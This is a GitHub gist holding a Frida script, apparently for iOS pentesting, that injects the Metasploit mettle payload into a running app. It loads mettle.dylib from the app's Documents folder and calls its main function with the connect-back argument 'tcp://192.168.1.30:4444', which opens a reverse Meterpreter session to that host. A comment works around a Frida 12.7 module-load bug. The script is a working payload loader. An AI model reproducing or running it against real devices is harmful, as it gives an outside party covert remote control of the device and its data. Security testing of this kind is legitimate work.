Skip to content

Instantly share code, notes, and snippets.

@leonjza
Created October 1, 2019 08:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save leonjza/895f9eee3aea0d19fcdbc4f2825c0811 to your computer and use it in GitHub Desktop.
Save leonjza/895f9eee3aea0d19fcdbc4f2825c0811 to your computer and use it in GitHub Desktop.
Mettle Frida Module Load Error
const dlib = 'mettle.dylib';
const NSDocumentDirectory = 9;
const NSUserDomainMask = 1
const p = ObjC.classes.NSFileManager.defaultManager()
.URLsForDirectory_inDomains_(NSDocumentDirectory, NSUserDomainMask).lastObject().path();
const dylibPath = p + '/' + dlib;
const cm = new CModule(""+
"#include <glib.h>" +
"" +
"char **getargs() {" +
"" +
" char **argv = g_malloc(3 * sizeof(char*));" +
" argv[0] = \"mettle\";" +
" argv[1] = \"-u\";" +
" argv[2] = \"tcp://192.168.1.30:4444\";" +
"" +
" return argv;" +
"}");
const argv = new NativeFunction(cm.getargs, 'pointer', []);
// Could have done it like as well...
//
// const argv = Memory.alloc(3 * Process.pointerSize);
// const a1 = Memory.allocUtf8String("Foo");
// const a2 = Memory.allocUtf8String("Bar");
// argv.writePointer(a1)
// .add(Process.pointerSize).writePointer(a2);
ObjC.schedule(ObjC.mainQueue, function () {
try {
const libMettle = Module.load(dylibPath);
} catch (e) {
console.log('Known bug with loading from a full path in Frida 12.7. Ignoring...');
}
const mettle = Process.getModuleByName(dlib);
const mettleMainPtr = mettle.findExportByName("main");
const mettleMain = new NativeFunction(mettleMainPtr, 'void', ['int', 'pointer']);
mettleMain(3, argv());
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment